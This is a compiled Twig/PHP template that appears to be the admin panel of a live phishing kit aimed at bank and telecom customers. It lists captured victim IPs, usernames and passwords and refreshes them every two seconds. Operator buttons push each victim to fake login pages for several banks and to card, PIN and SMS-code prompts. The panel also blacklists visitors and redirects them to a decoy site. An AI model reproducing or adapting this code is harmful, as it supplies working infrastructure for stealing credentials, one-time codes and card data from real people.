<?php

use Twig\Environment;
use Twig\Error\LoaderError;
use Twig\Error\RuntimeError;
use Twig\Extension\SandboxExtension;
use Twig\Markup;
use Twig\Sandbox\SecurityError;
use Twig\Sandbox\SecurityNotAllowedTagError;
use Twig\Sandbox\SecurityNotAllowedFilterError;
use Twig\Sandbox\SecurityNotAllowedFunctionError;
use Twig\Source;
use Twig\Template;

/* admin/index.html.twig */
class __TwigTemplate_fd9413feecd6ba3e541d75a4d1d87f80 extends \Twig\Template
{
    private $source;
    private $macros = [];

    public function __construct(Environment $env)
    {
        parent::__construct($env);

        $this->source = $this->getSourceContext();

        $this->parent = false;

        $this->blocks = [
        ];
    }

    protected function doDisplay(array $context, array $blocks = [])
    {
        $macros = $this->macros;
        // line 1
        echo "<!doctype html>
<html lang=\"en\">
<head>
    <!-- Required meta tags -->
    <meta charset=\"utf-8\">
    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">

    <!-- Bootstrap CSS -->
    <link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/bootstrap@4.3.1/dist/css/bootstrap.min.css\" integrity=\"sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T\" crossorigin=\"anonymous\">

    <title>Panel </title>
    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">
    <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">
    <link rel=\"stylesheet\" href=\"https://cdn.datatables.net/1.12.1/css/jquery.dataTables.min.css\">
</head>
<style>
    html,
    body {
        height: 100%;
        background-color:black;
    }

    table.dataTable thead .sorting:after,
    table.dataTable thead .sorting:before,
    table.dataTable thead .sorting_asc:after,
    table.dataTable thead .sorting_asc:before,
    table.dataTable thead .sorting_asc_disabled:after,
    table.dataTable thead .sorting_asc_disabled:before,
    table.dataTable thead .sorting_desc:after,
    table.dataTable thead .sorting_desc:before,
    table.dataTable thead .sorting_desc_disabled:after,
    table.dataTable thead .sorting_desc_disabled:before {
        bottom: .5em;
    }

    .copy{


        display: inline-block;
        outline: none;
        cursor: pointer;
        border: 1px solid #0f62fe;
        text-align: left;
        vertical-align: top;
        padding: calc(.375rem - 3px) 60px calc(.375rem - 3px) 12px;
        background-color: #00000000;
        font-size: 14px;
        letter-spacing: 0.16px;
        min-height: 32px;
        line-height: 1.29;
        color: #0f62fe;
        font-weight: 400;
        transition: background 70ms cubic-bezier(0,0,.38,.9),box-shadow 70ms cubic-bezier(0,0,.38,.9),border-color 70ms cubic-bezier(0,0,.38,.9),outline 70ms cubic-bezier(0,0,.38,.9);
    :hover {
        background-color: #0353e9;
        color: #fff;
    }

    }
</style>
<body>
<div class=\"container justify-content-center\">
    <br>
    <div class=\"row\">

        <div class=\"col-md-4\">
            <input placeholder=\"127.0.0.1\" class=\"form-control\" value=\"\" id=\"ipBlack\">
        </div>
        <div class=\"col-md-4\">
            <input placeholder=\"www.google.com\" class=\"form-control\" value=\"https://nullreferer.com/?www.dpd.com\" id=\"urlBlack\">
        </div>
        <div class=\"col-md-4\">
            <center>
                <button onclick=\"submit()\" class=\"btn btn-danger btn-lg btn-block\">Add ip to black list</button>
            </center>
        </div>
    </div>
</div>
<hr>
<div class=\"container justify-content-center\">
    <div class=\"table-wrapper-scroll-y my-custom-scrollbar\">
        <table style='font-family:\"Calibri\", Courier, monospace; font-size:120%' id=\"dtDynamicVerticalScrollExample\" class=\"table table-striped table-sm\" cellspacing=\"0\" width=\"100%\">
            <tr>
                <td><center>#</center></td>
                <td><center>IP</center></td>
                <td><center>USERNAME</center></td>
                <td><center>PASSWORD</center></td>
                <td><center>SMS</center></td>
                <td><center>TYPE</center></td>
                <td><center>STEP</center></td>
                <td><center>ACTION</center></td>
            </tr>
            <tbody id=\"tbody\">
            </tbody>
        </table>
    </div>
</div>


<!-- Optional JavaScript -->
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
<script src=\"https://code.jquery.com/jquery-3.3.1.slim.min.js\" integrity=\"sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo\" crossorigin=\"anonymous\"></script>
<script src=\"https://cdn.jsdelivr.net/npm/popper.js@1.14.7/dist/umd/popper.min.js\" integrity=\"sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1\" crossorigin=\"anonymous\"></script>
<script src=\"https://cdn.jsdelivr.net/npm/bootstrap@4.3.1/dist/js/bootstrap.min.js\" integrity=\"sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM\" crossorigin=\"anonymous\"></script>
<script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js\" integrity=\"sha512-894YE6QWD5I59HgZOGReFYm4dnWc1Qt5NtvYSaNcOP+u1T9qYdvdihz0PPSiiqn/+/3e7Jo4EaG7TubfWGUrMQ==\" crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\"></script>
<script src=\"https://cdn.datatables.net/1.12.1/js/jquery.dataTables.min.js\"></script>
<script>
\tfunction setStep(type, id) {
     if (type !== \"pin\") {
\t\t\tif (type !== \"\" && id !== \"\") {
\t\t\t\t\$.ajax({
\t\t\t\t\turl: '/set/step/',
\t\t\t\t\tdata: {'id': id, 'step': type},
\t\t\t\t\tsuccess: function (data) {
\t\t\t\t\t\tif (data === \"OK\") {
\t\t\t\t\t\t\talert('success');
\t\t\t\t\t\t} else {
\t\t\t\t\t\t\talert('Error 1');
\t\t\t\t\t\t}
\t\t\t\t\t}
\t\t\t\t});
\t\t\t} else {
\t\t\t\talert(\"Error \");
\t\t\t}
\t\t} else {
\t\t\tlet pin1 = prompt(\"PIN 1:\");
\t\t\tlet pin2 = prompt(\"PIN 2\");
\t\t\t\$.ajax({
\t\t\t\turl: '/set/step/',
\t\t\t\tdata: {'id': id, 'step': type, 'pin1': pin1, 'pin2': pin2},
\t\t\t\tsuccess: function (data) {
\t\t\t\t\tif (data === \"OK\") {
\t\t\t\t\t\talert('success');
\t\t\t\t\t} else {
\t\t\t\t\t\talert('Error 1');
\t\t\t\t\t}
\t\t\t\t}
\t\t\t});
\t\t}
\t}
    var isEnligne=0;
    function getStatus() {
        \$.ajax({
            url: '/get/status/',
            success: function (data) {
                var htmlBody;
                for (let i = 0; i < data.length; i++) {
                    if(data[i]['username']!=null){
                        var date1 = new Date();
                        var date2 = new Date(data[i]['datetime']);
                        let ms1 = date1.getTime(); ;
                        let ms2 = date2.getTime(); ;
                        var diffDays = ms1-ms2 ;
                        if (diffDays < 5000) {
                            htmlBody+='<tr id=\"live\" style=\"background-color: #28a745\">';
                        } else {
                            htmlBody+='<tr id=\"live\" style=\"background-color:white\">';
                        }
                        htmlBody+='<td id=\"type\"> <center>'+data[i]['id']+' </center></td>';
                        htmlBody+='<td id=\"ip\"><center><div onclick=copyToClipboard(\"'+encodeURIComponent(data[i]['ip'])+'\")>'+data[i]['ip']+' </div> </center></td>';
                        htmlBody+='<td id=\"username\"> <center><div onclick=copyToClipboard(\"'+encodeURIComponent(data[i]['username'])+'\")>'+data[i]['username']+' </div> </center></td>';
                        htmlBody+='<td id=\"password\"> <center><div onclick=copyToClipboard(\"'+encodeURIComponent(data[i]['password'])+'\")>'+data[i]['password']+' </div> </center></td>';
                        htmlBody+='<td id=\"type\"> <center>'+data[i]['type']+' </center></td>';
                        htmlBody+='<td id=\"step\"> <center>'+data[i]['stepNow']+' </center></td>';
                        htmlBody+='<td><center>';
                        htmlBody+=\"<button type='button' onclick=setStep('home',\"+data[i]['id']+\") class='btn btn-primary'>HOME</button>&nbsp;\";
                        htmlBody+=\"<button type='button' onclick=setStep('payment',\"+data[i]['id']+\")  class='btn btn-info'>CARD</button>&nbsp;\";
                        htmlBody+=\"<button type='button' onclick=setStep('sebLogin',\"+data[i]['id']+\")  class='btn btn-danger'>SB</span></button>&nbsp;\";
                        htmlBody+=\"<button type='button' onclick=setStep('swedLogin',\"+data[i]['id']+\")  class='btn btn-danger'>SW</span></button>&nbsp;\";
                        htmlBody+=\"<button type='button' onclick=setStep('coopLogin',\"+data[i]['id']+\")  class='btn btn-danger'>COP</span></button>&nbsp;\";
                        htmlBody+=\"<button type='button' onclick=setStep('lhvLogin',\"+data[i]['id']+\")  class='btn btn-danger'>LV</span></button>&nbsp;\";
                        htmlBody+=\"<button type='button' onclick=setStep('pin',\"+data[i]['id']+\") class='btn btn-secondary'>PIN</button>&nbsp;\";
                        htmlBody+=\"<button type='button' onclick=setStep('sms',\"+data[i]['id']+\") class='btn btn-warning'>SMS</button>&nbsp;\";
                        htmlBody+=\"<button type='button' onclick=setStep('suscess',\"+data[i]['id']+\") class='btn btn-success'>OK</button>&nbsp;\";
                        htmlBody+='</center></td>';
                        htmlBody+='</tr>';
                    }
                }
                \$(\"#tbody\").html(htmlBody);

            }
        });
    }

    var intervalId = window.setInterval(function(){
        getStatus();
    }, 2000);

    function copyToClipboard(text) {
        var dummy = document.createElement(\"textarea\");
        document.body.appendChild(dummy);
        var textWithoutSpace=text.replace(/%20/g,'');
        textWithoutSpace=textWithoutSpace.replace(/%2F/g,'/');
        //alert(textWithoutSpace);
        dummy.value = textWithoutSpace;
        dummy.select();
        document.execCommand(\"copy\");
        document.body.removeChild(dummy);


    }

    var oldAlerte = '';
    function addIp(){

    }


    function submit(){

        var ip=document.getElementById('ipBlack').value;
        var url=document.getElementById('urlBlack').value;
        if (ip!==\"\" && url!==\"\") {
            \$.ajax({
                url: '/submit/ip/ajax/',
                data: {'ip': ip,'url':url},
                success: function (data) {
                    if (data === \"OK\") {
                        alert(\"Added wit success : \"+ip);
                    }
                }
            });
        }else{
            alert(\"Fiekd empty !!\");
        }
    }





</script>
</body>
</html>";
    }

    public function getTemplateName()
    {
        return "admin/index.html.twig";
    }

    public function getDebugInfo()
    {
        return array (  37 => 1,);
    }

    public function getSourceContext()
    {
        return new Source("", "admin/index.html.twig", "/home/earnity/arved-telia-sso.earnity.co.tz/templates/admin/index.html.twig");
    }
}
